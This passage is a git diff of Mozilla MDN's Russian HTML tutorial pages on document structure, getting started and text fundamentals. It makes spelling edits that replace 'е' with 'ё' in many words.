href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Углубленное форматирование текста</a></li> + <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Углублённое форматирование текста</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0_%D0%B4%D0%BE%D0%BA%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D0%B0_%D0%B8_%D0%B2%D0%B5%D0%B1-%D1%81%D0%B0%D0%B9%D1%82%D0%B0">Структура документа и веб-сайта</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Debugging_HTML">Отладка HTML</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Marking_up_a_letter">Разметка письма</a></li> diff --git a/files/ru/learn/html/introduction_to_html/document_and_website_structure/index.html b/files/ru/learn/html/introduction_to_html/document_and_website_structure/index.html index 7128fd4462..31119efc4a 100644 --- a/files/ru/learn/html/introduction_to_html/document_and_website_structure/index.html +++ b/files/ru/learn/html/introduction_to_html/document_and_website_structure/index.html @@ -39,11 +39,11 @@ original_slug: Learn/HTML/Введение_в_HTML/Структура_докум <dt>Заголовок (колонтитул)</dt> <dd>Обычно это большая полоса вверху страницы, с крупным заголовком и / или логотипом. Здесь указывается общая информация о веб-сайте, не меняющаяся от страницы к странице.</dd> <dt>Навигационное меню</dt> - <dd>Ссылки на основные разделы сайта; обычно в виде кнопок, ссылок или вкладок. Также как и заголовок, навигация остается неизменной на всех страницах сайта — наличие непоследовательной навигации на Вашем сайте запутает и разочарует пользователей. Многие веб-дизайнеры считают панель навигации частью заголовка, а не отдельным компонентом, но это не является обязательным требованием; на самом деле, некоторые также утверждают, что их разделение на отдельные компоненты улучшает <a href="/en-US/docs/Learn/Accessibility">доступность</a>, поскольку раздельная структура будет понятнее для людей, пользующихся считывателями экрана.</dd> + <dd>Ссылки на основные разделы сайта; обычно в виде кнопок, ссылок или вкладок. Также как и заголовок, навигация остаётся неизменной на всех страницах сайта — наличие непоследовательной навигации на Вашем сайте запутает и разочарует пользователей. Многие веб-дизайнеры считают панель навигации частью заголовка, а не отдельным компонентом, но это не является обязательным требованием; на самом деле, некоторые также утверждают, что их разделение на отдельные компоненты улучшает <a href="/en-US/docs/Learn/Accessibility">доступность</a>, поскольку раздельная структура будет понятнее для людей, пользующихся считывателями экрана.</dd> <dt>Основное содержимое</dt> - <dd>Большая область в центре страницы, содержащая, в основном, уникальный контент данной веб-страницы, например видео, которое вы хотите посмотреть, или рассказ, который вы читаете, или карту, которую вы хотите просмотреть, или заголовки новостей и т. д. Это одна из частей сайта, которая определенно будет меняться от страницы к странице!</dd> + <dd>Большая область в центре страницы, содержащая, в основном, уникальный контент данной веб-страницы, например видео, которое вы хотите посмотреть, или рассказ, который вы читаете, или карту, которую вы хотите просмотреть, или заголовки новостей и т. д. Это одна из частей сайта, которая определённо будет меняться от страницы к странице!</dd> <dt>Боковая панель</dt> - <dd>Как правило, содержит некоторую второстепенную информацию, ссылки, цитаты, рекламу и т.д. Обычно она относится к содержимому в основном контенте (например, на странице со статьей, боковая панель может содержать биографию автора или ссылки на связанные статьи), но в некоторых случаях здесь размещают и другие элементы, например, вторичную навигационную систему.</dd> + <dd>Как правило, содержит некоторую второстепенную информацию, ссылки, цитаты, рекламу и т.д. Обычно она относится к содержимому в основном контенте (например, на странице со статьёй, боковая панель может содержать биографию автора или ссылки на связанные статьи), но в некоторых случаях здесь размещают и другие элементы, например, вторичную навигационную систему.</dd> <dt>Нижний колонтитул (футер)</dt> <dd>Полоса в нижней части страницы, которая обычно содержит уведомления об авторских правах или контактную информацию. Это место для размещения общей информации (например, заголовка), но обычно эта информация не является критичной или вторична для самого веб-сайта. Нижний колонтитул также иногда используется для {{Glossary("SEO")}} целей, предоставляя ссылки для быстрого доступа к популярному контенту.</dd> </dl> @@ -56,7 +56,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Структура_докум <p>Пример, показанный сверху, не красив и примитивен, но идеально подходит для иллюстрирования типичного макета веб-сайта. У некоторых веб-сайтов больше колонок, некоторые — более сложные, но идею Вы поняли. С правильным CSS Вы могли бы использовать практически любые элементы для обёртывания различных разделов и стилизовать их так, как Вам хочется, но, как обсуждалось ранее, нам нужно уважать семантику и <strong>использовать правильный элемент для правильной работы</strong>. </p> -<p>Это потому, что визуальные эффекты — это ещё не самое главное. Мы используем цвет и размер шрифта для привлечения внимания посетителей к наиболее полезным частям содержимого, такого как навигационное меню или связанные ссылки, но что насчет людей со слабым зрением, к примеру, для которых концепция "розового" и "большого шрифта" не будет полезной?</p> +<p>Это потому, что визуальные эффекты — это ещё не самое главное. Мы используем цвет и размер шрифта для привлечения внимания посетителей к наиболее полезным частям содержимого, такого как навигационное меню или связанные ссылки, но что насчёт людей со слабым зрением, к примеру, для которых концепция "розового" и "большого шрифта" не будет полезной?</p> <div class="note"> <p><strong>Заметка</strong>: Люди с дальтонизмом составляют около <a href="http://www.color-blindness.com/2006/04/28/colorblind-population/">8% мирового населения</a>. Слепые и слабовидящие люди составляют примерно 4-5% населения мира (в 2012 году в мире было <a href="https://en.wikipedia.org/wiki/Visual_impairment">285 миллионов таких людей</a>, а общая численность населения составляла <a href="https://en.wikipedia.org/wiki/World_human_population#/media/File:World_population_history.svg">около 7 миллиардов</a>).</p> @@ -76,7 +76,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Структура_докум <h3 id="Активное_обучение_исследование_кода_для_нашего_примера">Активное обучение: исследование кода для нашего примера</h3> -<p>Наш пример, представленный выше, содержит следующий код (Вы также можете <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/document_and_website_structure/index.html">найти пример в нашем репозитории Github</a>). Мы хотели бы, чтобы Вы взглянули на приведенный выше пример, а затем просмотрели код ниже, чтобы узнать, из каких частей он состоит.</p> +<p>Наш пример, представленный выше, содержит следующий код (Вы также можете <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/document_and_website_structure/index.html">найти пример в нашем репозитории Github</a>). Мы хотели бы, чтобы Вы взглянули на приведённый выше пример, а затем просмотрели код ниже, чтобы узнать, из каких частей он состоит.</p> <pre class="brush: html notranslate"><!DOCTYPE html> <html> @@ -108,7 +108,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Структура_докум <li><a href="#">Контакты</a></li> </ul> - <!-- Форма поиска — это еще один распространенный нелинейный способ навигации по веб-сайту. --> + <!-- Форма поиска — это ещё один распространённый нелинейный способ навигации по веб-сайту. --> <form> <input type="search" name="q" placeholder="Search query"> @@ -162,7 +162,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Структура_докум </body> </html></pre> -<p>Потратьте некоторое время, чтобы просмотреть код и понять его — комментарии внутри кода также помогут Вам в этом. Мы не просим Вас делать ничего больше в этом уроке, потому что ключ к пониманию макета документа заключается в написании осмысленной структуры HTML, а затем её развёртывании с помощью CSS. Мы подождем, пока вы не начнете изучать CSS-макет как часть темы CSS.</p> +<p>Потратьте некоторое время, чтобы просмотреть код и понять его — комментарии внутри кода также помогут Вам в этом. Мы не просим Вас делать ничего больше в этом уроке, потому что ключ к пониманию макета документа заключается в написании осмысленной структуры HTML, а затем её развёртывании с помощью CSS. Мы подождём, пока вы не начнёте изучать CSS-макет как часть темы CSS.</p> <h2 id="Подробнее_об_элементах_HTML_макета">Подробнее об элементах HTML макета</h2> @@ -178,7 +178,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Структура_докум <li>{{HTMLElement('footer')}} представляет собой группу конечного контента для страницы.</li> </ul> -<h3 id="Несемантические_обертки">Несемантические обертки</h3> +<h3 id="Несемантические_обёртки">Несемантические обёртки</h3> <p>Иногда Вы будете сталкиваться с ситуацией, когда Вы не можете найти идеальный семантический элемент, чтобы сгруппировать некоторые элементы вместе или обернуть некоторый контент. Иногда Вам просто нужно будет сгруппировать несколько элементов вместе, чтобы применить к ним, как к единой сущности, {{glossary("CSS")}} или {{glossary("JavaScript")}}. Для таких случаев в HTML есть элементы {{HTMLElement("div")}} и {{HTMLElement("span")}}. Вам следует использовать их с подходящим значением атрибута {{htmlattrxref('class')}} или {{htmlattrxref('id')}}, чтобы можно было легко получить к ним доступ.</p> @@ -216,7 +216,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Структура_докум <p>Два элемента, которые Вы будете периодически использовать или захотите узнать о них: {{htmlelement("br")}} и {{htmlelement("hr")}}:</p> -<p><code><br></code> создает разрыв строки в абзаце, и это единственный способ изменить жёсткую структуру в ситуации, когда Вам нужна серия фиксированных коротких строк, например, в почтовом адресе или стихотворении. Пример:</p> +<p><code><br></code> создаёт разрыв строки в абзаце, и это единственный способ изменить жёсткую структуру в ситуации, когда Вам нужна серия фиксированных коротких строк, например, в почтовом адресе или стихотворении. Пример:</p> <pre class="brush: html notranslate"><p>Жила-была девчушка Нелл,<br> Любившая писать HTML:<br> @@ -230,7 +230,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Структура_докум Её семантика ужасна была —<br> Она и сама прочитать ничего не могла.</p> -<p><code><hr></code> создает горизонтальный разделитель в документе, это означает тематическое изменение текста (например, изменение темы или сцены). Визуально он просто похож на горизонтальную линию. В качестве примера:</p> +<p><code><hr></code> создаёт горизонтальный разделитель в документе, это означает тематическое изменение текста (например, изменение темы или сцены). Визуально он просто похож на горизонтальную линию. В качестве примера:</p> <pre class="notranslate"><p>Рон был зажат в углу адскими тварями. Он боялся, но твёрдо решил защитить своих друзей, поднял свою волшебную палочку и приготовился к битве, надеясь, что справится со своим несчастьем.</p> <hr> @@ -249,7 +249,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Структура_докум <ol> <li><span class="tlid-translation translation">Имейте в виду, что у вас будет несколько элементов, общих для большинства (если не всех) страниц — например, меню навигации и содержимого нижнего колонтитула. Например, для сайта компании хорошая идея разместить контактные данные в нижнем колонтитуле на каждой странице. Составьте список элементов, общих для всех страниц</span>. <img alt="the common features of the travel site to go on every page: title and logo, contact, copyright, terms and conditions, language chooser, accessibility policy" src="https://mdn.mozillademos.org/files/12423/common-features.png" style="border-style: solid; border-width: 1px; display: block; height: 375px; margin: 0px auto; width: 600px;"></li> - <li>Теперь набросайте структуру страниц (можно взять за образец наш простой дизайн, приведенный раннее). Что находится в этих блоках?<img alt="A simple diagram of a sample site structure, with a header, main content area, two optional sidebars, and footer" src="https://mdn.mozillademos.org/files/12429/site-structure.png" style="border-style: solid; border-width: 1px; display: block; height: 232px; margin: 0px auto; width: 600px;"></li> + <li>Теперь набросайте структуру страниц (можно взять за образец наш простой дизайн, приведённый раннее). Что находится в этих блоках?<img alt="A simple diagram of a sample site structure, with a header, main content area, two optional sidebars, and footer" src="https://mdn.mozillademos.org/files/12429/site-structure.png" style="border-style: solid; border-width: 1px; display: block; height: 232px; margin: 0px auto; width: 600px;"></li> <li>Теперь составьте список остальной (уникальной для каждой страницы) информации, которую вы разместите на сайте.<img alt="A long list of all the features that we could put on our travel site, from searching, to special offers and country-specific info" src="https://mdn.mozillademos.org/files/12425/feature-list.png" style="border-style: solid; border-width: 1px; display: block; height: 1066px; margin: 0px auto; width: 600px;"></li> <li>Сгруппируйте информацию по темам. Какие части можно разместить на одной странице? Это похоже на метод {{glossary("Card sorting")}}. <img alt="The items that should appear on a holiday site sorted into 5 categories: Search, Specials, Country-specific info, Search results, and Buy things" src="https://mdn.mozillademos.org/files/12421/card-sorting.png" style="border-style: solid; border-width: 1px; display: block; height: 579px; margin: 0px auto; width: 600px;"></li> <li>Составьте карту сайта. Обведите каждую страницу рамкой, и продумайте перемещения пользователя между ними. Обычно в центре оказывается главная страница, с которой можно быстро перейти на все остальные. На небольшом сайте большинство страниц помещают в главную навигацию, но не обязательно класть туда все ссылки. Также можете пометить, как выглядят элементы страниц — ссылками, списками, карточками.</li> @@ -284,7 +284,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Структура_докум <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/The_head_metadata_in_HTML">Что такое заголовок? Метаданные в HTML</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/HTML_text_fundamentals">Основы редактирования текста в HTML</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B3%D0%B8%D0%BF%D0%B5%D1%80%D1%81%D1%81%D1%8B%D0%BB%D0%BE%D0%BA">Создание гиперссылок</a></li> - <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Углубленное форматирование текста</a></li> + <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Углублённое форматирование текста</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0_%D0%B4%D0%BE%D0%BA%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D0%B0_%D0%B8_%D0%B2%D0%B5%D0%B1-%D1%81%D0%B0%D0%B9%D1%82%D0%B0">Структура документа и веб-сайта</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Debugging_HTML">Отладка HTML</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Marking_up_a_letter">Разметка письма</a></li> diff --git a/files/ru/learn/html/introduction_to_html/getting_started/index.html b/files/ru/learn/html/introduction_to_html/getting_started/index.html index 9fe76fed12..cfd2d251bb 100644 --- a/files/ru/learn/html/introduction_to_html/getting_started/index.html +++ b/files/ru/learn/html/introduction_to_html/getting_started/index.html @@ -36,7 +36,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Начало_работы <h2 id="Что_такое_HTML">Что такое HTML?</h2> -<p>{{glossary("HTML")}} (HyperText Markup Language - язык гипертекстовой разметки) не является языком программирования; это <em>язык разметки</em>, используемый для определения структуры веб-страниц, посещаемых пользователями. Они могут иметь сложную или простую структуру, всё зависит от замысла и желания веб-разработчика. HTML состоит из ряда {{glossary("Element", "элементов")}}, которые вы используете для того, чтобы охватить, обернуть или <em>разметить</em> различные части содержимого, чтобы оно имело определенный вид или срабатывало определенным способом. Встроенные {{glossary("Tag", "тэги")}} могут преобразовать часть содержимого в гиперссылку, по которой можно перейти на другую веб-страницу, выделить курсивом слова и так далее. Например, рассмотрим следующую строку:</p> +<p>{{glossary("HTML")}} (HyperText Markup Language - язык гипертекстовой разметки) не является языком программирования; это <em>язык разметки</em>, используемый для определения структуры веб-страниц, посещаемых пользователями. Они могут иметь сложную или простую структуру, всё зависит от замысла и желания веб-разработчика. HTML состоит из ряда {{glossary("Element", "элементов")}}, которые вы используете для того, чтобы охватить, обернуть или <em>разметить</em> различные части содержимого, чтобы оно имело определённый вид или срабатывало определённым способом. Встроенные {{glossary("Tag", "тэги")}} могут преобразовать часть содержимого в гиперссылку, по которой можно перейти на другую веб-страницу, выделить курсивом слова и так далее. Например, рассмотрим следующую строку:</p> <pre class="notranslate">Мой кот очень сердитый</pre> @@ -65,7 +65,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Начало_работы <h3 id="Активное_изучение_создание_вашего_первого_HTML_элемента">Активное изучение: создание вашего первого HTML элемента</h3> -<p>Отредактируйте строку текста ниже в поле <em>Ввод</em>, обернув ее тегами <code><em></code> и <code></em></code> (вставьте <code><em></code> перед строкой, чтобы <em>указать начало элемента</em>, и <code></em></code> после нее, чтобы <em>указать конец элемента</em>) — эти действия должны выделить строку текста курсивом! Вы можете видеть изменения в реальном времени в поле <em>Вывод</em>.</p> +<p>Отредактируйте строку текста ниже в поле <em>Ввод</em>, обернув её тегами <code><em></code> и <code></em></code> (вставьте <code><em></code> перед строкой, чтобы <em>указать начало элемента</em>, и <code></em></code> после неё, чтобы <em>указать конец элемента</em>) — эти действия должны выделить строку текста курсивом! Вы можете видеть изменения в реальном времени в поле <em>Вывод</em>.</p> <p>Если Вы ошиблись, то всегда можете начать снова, воспользовавшись кнопкой <em>Сбросить</em>. Если упражнение вызывает у Вас затруднения, то нажмите кнопку <em>Показать решение</em>, чтобы увидеть правильный ответ.</p> @@ -220,7 +220,7 @@ textarea.onkeyup = function(){ <pre class="brush: html notranslate"><em>Первый</em><em>второй</em><em>третий</em> -<p>четвертый</p><p>пятый</p><p>шестой</p> +<p>четвёртый</p><p>пятый</p><p>шестой</p> </pre> <p>{{htmlelement("em")}} — это строчный элемент, так что, как вы здесь видите, первые три элемента находятся на одной строке друг с другом без пробелов между ними. С другой стороны, {{htmlelement("p")}} — это элемент блочного уровня, так что каждый элемент находится на новой строке, с пространством выше и ниже каждого (этот интервал определяется <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">CSS-оформлением</a> по умолчанию, которое браузеры применяют к абзацам).</p> @@ -232,7 +232,7 @@ textarea.onkeyup = function(){ </div> <div class="note"> -<p><strong>Примечание</strong>: Не путайте термины «блочный» и «строчный», используемые в этом разделе, с одноименными <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Box_model#Types_of_CSS_boxes">типами отображения в CSS</a>. Хотя по умолчанию они коррелируют, смена типа отображения в CSS не меняет категорию элемента и не влияет на то, во что его можно вкладывать и что можно вкладывать в него. Эта довольно частая путаница — одна из причин, почему HTML5 отказался от этих терминов.</p> +<p><strong>Примечание</strong>: Не путайте термины «блочный» и «строчный», используемые в этом разделе, с одноимёнными <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Box_model#Types_of_CSS_boxes">типами отображения в CSS</a>. Хотя по умолчанию они коррелируют, смена типа отображения в CSS не меняет категорию элемента и не влияет на то, во что его можно вкладывать и что можно вкладывать в него. Эта довольно частая путаница — одна из причин, почему HTML5 отказался от этих терминов.</p> </div> <div class="note"> @@ -268,7 +268,7 @@ textarea.onkeyup = function(){ <ol> <li>Пробел между атрибутом и именем элемента (или предыдущим атрибутом, если у элемента уже есть один или несколько атрибутов).</li> <li>Имя атрибута и следующий за ним знак равенства.</li> - <li>Значение атрибута, заключенное в кавычки.</li> + <li>Значение атрибута, заключённое в кавычки.</li> </ol> <h3 id="Активное_изучение_Добавление_атрибутов_в_элемент">Активное изучение: Добавление атрибутов в элемент</h3> @@ -279,7 +279,7 @@ textarea.onkeyup = function(){ <ul> <li><code>href</code>: В значении этого атрибута прописывается веб-адрес, на который, по вашей задумке, должна указывать ссылка, куда браузер переходит, когда вы по ней кликаете. Например, <code>href="https://www.mozilla.org/"</code>.</li> - <li><code>title</code>: Атрибут <code>title</code> описывает дополнительную информацию о ссылке, такую как: на какую страницу она ведет. Например, <code>title="The Mozilla homepage"</code>. Она появится в виде всплывающей подсказки, когда вы наведете курсор на ссылку.</li> + <li><code>title</code>: Атрибут <code>title</code> описывает дополнительную информацию о ссылке, такую как: на какую страницу она ведёт. Например, <code>title="The Mozilla homepage"</code>. Она появится в виде всплывающей подсказки, когда вы наведёте курсор на ссылку.</li> <li><code>target</code>: Атрибут <code>target</code> определяет контекст просмотра, который будет использоваться для отображения ссылки. Например, <code>target="_blank"</code> отобразит ссылку на новой вкладке. Если вы хотите отобразить ссылку на текущей вкладке, просто опустите этот атрибут.</li> </ul> @@ -412,7 +412,7 @@ textarea.onkeyup = function(){ <h3 id="Boolean_attributes" class="hidden">Boolean attributes</h3> -<p>Иногда вы будете видеть атрибуты, написанные без значения — это совершенно допустимо. Такие атрибуты называются булевые, и они могут иметь только одно значение, которое в основном совпадает с его именем. В качестве примера возьмем атрибут {{htmlattrxref("disabled", "input")}}, который можно назначить для формирования элементов ввода, если вы хотите, чтобы они были отключены (неактивны), так что пользователь не может вводить какие-либо данные в них.</p> +<p>Иногда вы будете видеть атрибуты, написанные без значения — это совершенно допустимо. Такие атрибуты называются булевые, и они могут иметь только одно значение, которое в основном совпадает с его именем. В качестве примера возьмём атрибут {{htmlattrxref("disabled", "input")}}, который можно назначить для формирования элементов ввода, если вы хотите, чтобы они были отключены (неактивны), так что пользователь не может вводить какие-либо данные в них.</p> <pre class="notranslate"><input type="text" disabled="disabled"></pre> @@ -431,7 +431,7 @@ textarea.onkeyup = function(){ <h3 id="Omitting_quotes_around_attribute_values" class="hidden">Omitting quotes around attribute values</h3> -<p>Осматриваясь во всемирной сети, вы будете встречать различные незнакомые способы написания разметки, включая написание значений атрибутов без кавычек. Это допустимо при определенных условиях, но разрушит вашу разметку при других. Например, возвращаясь к нашему упражнению с гиперссылкой, мы можем написать основной вариант только с атрибутом <code>href</code> так:</p> +<p>Осматриваясь во всемирной сети, вы будете встречать различные незнакомые способы написания разметки, включая написание значений атрибутов без кавычек. Это допустимо при определённых условиях, но разрушит вашу разметку при других. Например, возвращаясь к нашему упражнению с гиперссылкой, мы можем написать основной вариант только с атрибутом <code>href</code> так:</p> <pre class="brush: html notranslate"><a href=https://www.mozilla.org/>любимый веб-сайт</a></pre> @@ -459,7 +459,7 @@ textarea.onkeyup = function(){ <pre class="example-bad brush: html notranslate"><a href="http://www.example.com'>Ссылка к моему примеру.</a></pre> -<p>Если вы используете один тип кавычек в своем HTML, то вы можете поместить внутрь их кавычки другого типа, не вызывая никаких проблем:</p> +<p>Если вы используете один тип кавычек в своём HTML, то вы можете поместить внутрь их кавычки другого типа, не вызывая никаких проблем:</p> <pre class="brush: html notranslate"><a href="http://www.example.com" title="Isn't this fun?">A link to my example.</a></pre> @@ -745,7 +745,7 @@ textarea.onkeyup = function(){ <p>Вы дошли до конца статьи — надеемся, вам понравилось путешествие по основам HTML. На этом этапе вы уже должны немного разобраться, как выглядит язык, как он работает на базовом уровне и уметь описать несколько элементов и атрибутов. Сейчас идеальное время и место, чтобы продолжить изучать HTML. В последующих статьях мы рассмотрим некоторые из вещей, которые вы уже рассмотрели, но намного подробнее, а также представим некоторые новые функции языка. Оставайтесь с нами!</p> <div class="note"> -<p><strong>Примечание</strong>: Сейчас, когда вы начинаете больше узнавать о HTML, вы также можете начать изучать основы каскадных таблиц стилей Cascading Style Sheets, или <a href="/en-US/docs/Learn/CSS">CSS</a>. CSS — это язык, который используется для стилизации веб-страниц (например, изменение шрифта или цветов или изменение макета страницы). Как вы скоро поймете, HTML и CSS созданы друг для друга.</p> +<p><strong>Примечание</strong>: Сейчас, когда вы начинаете больше узнавать о HTML, вы также можете начать изучать основы каскадных таблиц стилей Cascading Style Sheets, или <a href="/en-US/docs/Learn/CSS">CSS</a>. CSS — это язык, который используется для стилизации веб-страниц (например, изменение шрифта или цветов или изменение макета страницы). Как вы скоро поймёте, HTML и CSS созданы друг для друга.</p> </div> <h2 id="Смотрите_также">Смотрите также</h2> @@ -765,7 +765,7 @@ textarea.onkeyup = function(){ <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/The_head_metadata_in_HTML">Что такое заголовок? Метаданные в HTML</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/HTML_text_fundamentals">Основы редактирования текста в HTML</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B3%D0%B8%D0%BF%D0%B5%D1%80%D1%81%D1%81%D1%8B%D0%BB%D0%BE%D0%BA">Создание гиперссылок</a></li> - <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Углубленное форматирование текста</a></li> + <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Углублённое форматирование текста</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0_%D0%B4%D0%BE%D0%BA%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D0%B0_%D0%B8_%D0%B2%D0%B5%D0%B1-%D1%81%D0%B0%D0%B9%D1%82%D0%B0">Структура документа и веб-сайта</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Debugging_HTML">Отладка HTML</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Marking_up_a_letter">Разметка письма</a></li> diff --git a/files/ru/learn/html/introduction_to_html/html_text_fundamentals/index.html b/files/ru/learn/html/introduction_to_html/html_text_fundamentals/index.html index 1adc27c159..d27868014a 100644 --- a/files/ru/learn/html/introduction_to_html/html_text_fundamentals/index.html +++ b/files/ru/learn/html/introduction_to_html/html_text_fundamentals/index.html @@ -31,7 +31,7 @@ original_slug: Learn/HTML/Введение_в_HTML/HTML_text_fundamentals </tr> <tr> <th scope="row">Задача:</th> - <td>Изучить базовые способы разметки текста путем добавлением на страницу структуры и значения — создать абзацы, заголовки, списки, акценты и цитаты..</td> + <td>Изучить базовые способы разметки текста путём добавлением на страницу структуры и значения — создать абзацы, заголовки, списки, акценты и цитаты..</td> </tr> </tbody> </table> @@ -42,13 +42,13 @@ original_slug: Learn/HTML/Введение_в_HTML/HTML_text_fundamentals <p><img alt="An example of a newspaper front cover, showing use of a top level heading, subheadings and paragraphs." src="https://mdn.mozillademos.org/files/12371/newspaper_small.jpg" style="display: block; margin: 0 auto;"></p> -<p>Упорядоченный контент делает чтение более легким и приятным.</p> +<p>Упорядоченный контент делает чтение более лёгким и приятным.</p> -<p>В HTML каждый абзац заключен в элемент {{htmlelement("p")}}, подобно:</p> +<p>В HTML каждый абзац заключён в элемент {{htmlelement("p")}}, подобно:</p> <pre class="brush: html notranslate"><p>Я параграф, да, это я.</p></pre> -<p>Каждый заголовок заключен в элемент заголовка {{htmlelement("h1")}}:</p> +<p>Каждый заголовок заключён в элемент заголовка {{htmlelement("h1")}}:</p> <pre class="brush: html notranslate"><h1>Я заголовок истории.</h1></pre> @@ -62,9 +62,9 @@ original_slug: Learn/HTML/Введение_в_HTML/HTML_text_fundamentals <p> Крис Миллс </ p> -<h2> Глава 1: Темная ночь </ h2> +<h2> Глава 1: Тёмная ночь </ h2> -<p> Это была темная ночь. Где-то кричала сова. Дождь обрушился на ... </ p> +<p> Это была тёмная ночь. Где-то кричала сова. Дождь обрушился на ... </ p> <h2> Глава 2: Вечное молчание </ h2> @@ -79,15 +79,15 @@ original_slug: Learn/HTML/Введение_в_HTML/HTML_text_fundamentals <ul> <li>Предпочтительнее использовать <code><h1></code> только один раз на странице — это заголовок самого верхнего уровня, и все остальные заголовки располагаются ниже его в иерархии.</li> - <li>Убедитесь, что вы используете заголовки в правильном порядке в иерархии. Не используйте <code><h3></code> для создания подзаголовков при одновременном использовании <code><h2></code> для представления под-подзаголовков — это не имеет смысла и приведет к странным результатам.</li> - <li><span id="result_box" lang="ru"><span>Из шести доступных уровней заголовка вы должны стремиться использовать не более трех на странице, если только вы не чувствуете, что это необходимо.</span></span> <span id="result_box" lang="ru"><span>Документы с большим количеством уровней (то есть с глубокой иерархией) становятся громоздкими и трудными для навигации.</span></span> <span id="result_box" lang="ru"><span>В таких случаях рекомендуется распределять контент по нескольким страницам, если это возможно.</span></span></li> + <li>Убедитесь, что вы используете заголовки в правильном порядке в иерархии. Не используйте <code><h3></code> для создания подзаголовков при одновременном использовании <code><h2></code> для представления под-подзаголовков — это не имеет смысла и приведёт к странным результатам.</li> + <li><span id="result_box" lang="ru"><span>Из шести доступных уровней заголовка вы должны стремиться использовать не более трёх на странице, если только вы 